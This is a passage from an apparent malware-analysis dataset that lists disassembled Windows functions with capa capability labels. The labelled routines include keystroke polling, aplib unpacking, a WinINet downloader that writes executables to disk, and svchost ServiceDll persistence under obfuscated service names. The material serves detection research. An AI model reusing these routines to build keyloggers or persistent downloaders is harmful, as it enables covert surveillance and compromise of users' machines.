joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10086da6
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1011aa48
mov eax, dword fs:[0]
push eax
sub esp, 0x148
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x94]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x101b90c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
mov ecx, 0x101bc11e
call fcn.1005f00c
nop
mov eax, dword [ebp - 0x14]
add eax, 0x28
mov dword [ebp - 0x148], eax
push str.style
lea ecx, [ebp + 8]
push ecx
lea edx, [ebp - 0x104]
push edx
call fcn.1005c825
add esp, 0xc
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x150], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x150]
push ecx
mov ecx, dword [ebp - 0x148]
call fcn.1005ee36
mov edx, dword [eax]
mov dword [ebp - 0xe0], edx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x104]
call fcn.1005db7b
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 3
ja case.default.0x10086d16
mov ecx, dword [ebp - 0x154]
jmp dword [ecx*4 + 0x10086ecc]
mov byte [ebp - 0x10d], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.1005db7b
mov al, byte [ebp - 0x10d]
jmp 0x10086eaa
mov eax, dword [ebp - 0x14]
add eax, 0x28
mov dword [ebp - 0x148], eax
lea ecx, [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x148]
call fcn.1005e7ce
mov esi, esp
mov edx, dword [eax]
push edx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp esi, esp
call fcn.1005e274
test ax, ax
je 0x10086d79
mov byte [ebp - 0x149], 1
jmp 0x10086d80
mov byte [ebp - 0x149], 0
mov al, byte [ebp - 0x149]
mov byte [ebp - 0x119], al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.1005db7b
mov al, byte [ebp - 0x119]
jmp 0x10086eaa
mov eax, dword [ebp - 0x14]
add eax, 0x28
mov dword [ebp - 0x148], eax
lea ecx, [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x148]
call fcn.1005e7ce
mov esi, esp
mov edx, dword [eax]
push edx
call dword [sym.imp.USER32.dll_GetKeyState]
cmp esi, esp
call fcn.1005e274
cwde
and eax, 0xffff
je 0x10086de4
mov byte [ebp - 0x149], 1
jmp 0x10086deb
mov byte [ebp - 0x149], 0
mov cl, byte [ebp - 0x149]
mov byte [ebp - 0x125], cl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.1005db7b
mov al, byte [ebp - 0x125]
jmp 0x10086eaa
mov eax, dword [ebp - 0x14]
add eax, 0x28
mov dword [ebp - 0x148], eax
lea ecx, [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x148]
call fcn.1005e7ce
mov esi, esp
mov edx, dword [eax]
push edx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp esi, esp
call fcn.1005e274
cwde
test eax, eax
jne 0x10086e4f
mov dword [ebp - 0x14c], 1
jmp 0x10086e59
mov dword [ebp - 0x14c], 0
mov cl, byte [ebp - 0x14c]
mov byte [ebp - 0x131], cl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.1005db7b
mov al, byte [ebp - 0x131]
jmp 0x10086eaa
mov byte [ebp - 0x13d], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.1005db7b
mov al, byte [ebp - 0x13d]
jmp 0x10086eaa
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x154
cmp ebp, esp
call fcn.1005e274
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x10086e11
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1011aa48
mov eax, dword fs:[0]
push eax
sub esp, 0x148
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x94]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x101b90c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
mov ecx, 0x101bc11e
call fcn.1005f00c
nop
mov eax, dword [ebp - 0x14]
add eax, 0x28
mov dword [ebp - 0x148], eax
push str.style
lea ecx, [ebp + 8]
push ecx
lea edx, [ebp - 0x104]
push edx
call fcn.1005c825
add esp, 0xc
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x150], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x150]
push ecx
mov ecx, dword [ebp - 0x148]
call fcn.1005ee36
mov edx, dword [eax]
mov dword [ebp - 0xe0], edx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x104]
call fcn.1005db7b
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 3
ja case.default.0x10086d16
mov ecx, dword [ebp - 0x154]
jmp dword [ecx*4 + 0x10086ecc]
mov byte [ebp - 0x10d], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.1005db7b
mov al, byte [ebp - 0x10d]
jmp 0x10086eaa
mov eax, dword [ebp - 0x14]
add eax, 0x28
mov dword [ebp - 0x148], eax
lea ecx, [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x148]
call fcn.1005e7ce
mov esi, esp
mov edx, dword [eax]
push edx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp esi, esp
call fcn.1005e274
test ax, ax
je 0x10086d79
mov byte [ebp - 0x149], 1
jmp 0x10086d80
mov byte [ebp - 0x149], 0
mov al, byte [ebp - 0x149]
mov byte [ebp - 0x119], al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.1005db7b
mov al, byte [ebp - 0x119]
jmp 0x10086eaa
mov eax, dword [ebp - 0x14]
add eax, 0x28
mov dword [ebp - 0x148], eax
lea ecx, [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x148]
call fcn.1005e7ce
mov esi, esp
mov edx, dword [eax]
push edx
call dword [sym.imp.USER32.dll_GetKeyState]
cmp esi, esp
call fcn.1005e274
cwde
and eax, 0xffff
je 0x10086de4
mov byte [ebp - 0x149], 1
jmp 0x10086deb
mov byte [ebp - 0x149], 0
mov cl, byte [ebp - 0x149]
mov byte [ebp - 0x125], cl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.1005db7b
mov al, byte [ebp - 0x125]
jmp 0x10086eaa
mov eax, dword [ebp - 0x14]
add eax, 0x28
mov dword [ebp - 0x148], eax
lea ecx, [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x148]
call fcn.1005e7ce
mov esi, esp
mov edx, dword [eax]
push edx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp esi, esp
call fcn.1005e274
cwde
test eax, eax
jne 0x10086e4f
mov dword [ebp - 0x14c], 1
jmp 0x10086e59
mov dword [ebp - 0x14c], 0
mov cl, byte [ebp - 0x14c]
mov byte [ebp - 0x131], cl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.1005db7b
mov al, byte [ebp - 0x131]
jmp 0x10086eaa
mov byte [ebp - 0x13d], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.1005db7b
mov al, byte [ebp - 0x13d]
jmp 0x10086eaa
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x154
cmp ebp, esp
call fcn.1005e274
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x10609160
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.106092b0
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x10609186
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10609172
add dl, dl
jne 0x10609191
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x106091e4
xor eax, eax
add dl, dl
jne 0x1060919e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10609285
add dl, dl
jne 0x106091ad
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106091b8
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106091c3
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106091ce
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x106091da
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1060917d
mov eax, 1
add dl, dl
jne 0x106091f2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106091fd
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x106091e9
sub eax, ebx
mov ebx, 1
jne 0x10609230
mov ecx, 1
add dl, dl
jne 0x10609216
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10609221
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1060920d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1060917d
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10609247
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10609252
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1060923e
cmp eax, 0x7d00
jae 0x10609275
cmp eax, 0x500
jb 0x10609270
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1060917d
cmp eax, 0x7f
ja 0x10609278
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1060917d
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x106092a6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1060917d
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10002010
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x94]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100020b8
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push 0
push 0x1000e0ac
push eax
mov dword [esp + 0x24], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x14]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
jne 0x10002100
lea eax, [esp + 0x14]
push str.2003
push eax
call esi
add esp, 8
test eax, eax
jne 0x10002100
lea ecx, [esp + 0x14]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
jne 0x10002100
pop edi
pop esi
add esp, 0x190
ret
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret

Function at 0x10003390
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x10003310
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x100034d0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ebx, 1
push str.WININET.dll
mov dword [esp + 0x14], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call edi
push ebp
push ebp
push ebp
push ebp
push str.Mozilla_4.0__compatible_
call eax
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x20], ebp
jne 0x1000352a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetOpenUrlA
push esi
call edi
mov ecx, dword [esp + 0x42c]
push 0
push closesocket
push 0
push 0
push ecx
push ebp
call eax
mov ebp, eax
test ebp, ebp
jne 0x1000355b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetReadFile
push esi
call edi
mov edx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x100035fb
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
push 0x400
push ecx
push ebp
call dword [esp + 0x2c]
test ebx, ebx
je 0x100035bb
cmp word [esp + 0x28], 0x5a4d
jne 0x100035e2
mov eax, dword [esp + 0x10]
xor ebx, ebx
lea edx, [esp + 0x24]
push ebx
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x30]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x100035ea
jmp 0x1000358d
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetCloseHandle
push esi
call edi
mov edi, eax
push ebp
call edi
mov ecx, dword [esp + 0x20]
push ecx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x418
ret

Function at 0x10003630
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret
Function at 0x10003f00
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x1000fec8], eax
jne 0x10003f1b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Qphhc_Gkkuslaw_Grhqrwgs_Dfop
push str.Wpkdtw__nmobyubFxd
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x1000fec4], eax
jne 0x10003f54
pop ecx
ret
mov edx, dword [0x1000fec8]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x1000fec4]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.FhwgjjqsCrnufsdc_Vdsmnpg_Dqfagnzv_Bjv
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x10003f90
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.Wpkdtw__nmobyubFxd
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x100041d0
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Wpkdtw__nmobyubFxd
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.100040f0
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.10004150
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push closesocket
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__UjfvTRigxuquib_bqe
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__UjfvTRigxuquib_bqe
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.100040f0
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.10004150
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x100046a0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Wpkdtw__nmobyubFxd
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000476c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__UjfvTRigxuquib_bqe
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x10004800
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push closesocket
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004923
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10004918
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x10004923
cmp si, 1
je 0x10004923
push str.Wpkdtw__nmobyubFxd
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x10004908
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x10004923
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x100048bd
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x10004930
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.100046a0
test eax, eax
jne 0x1000493e
call fcn.100041d0
call fcn.10004800
test eax, eax
jne 0x1000494c
jmp fcn.100043d0
ret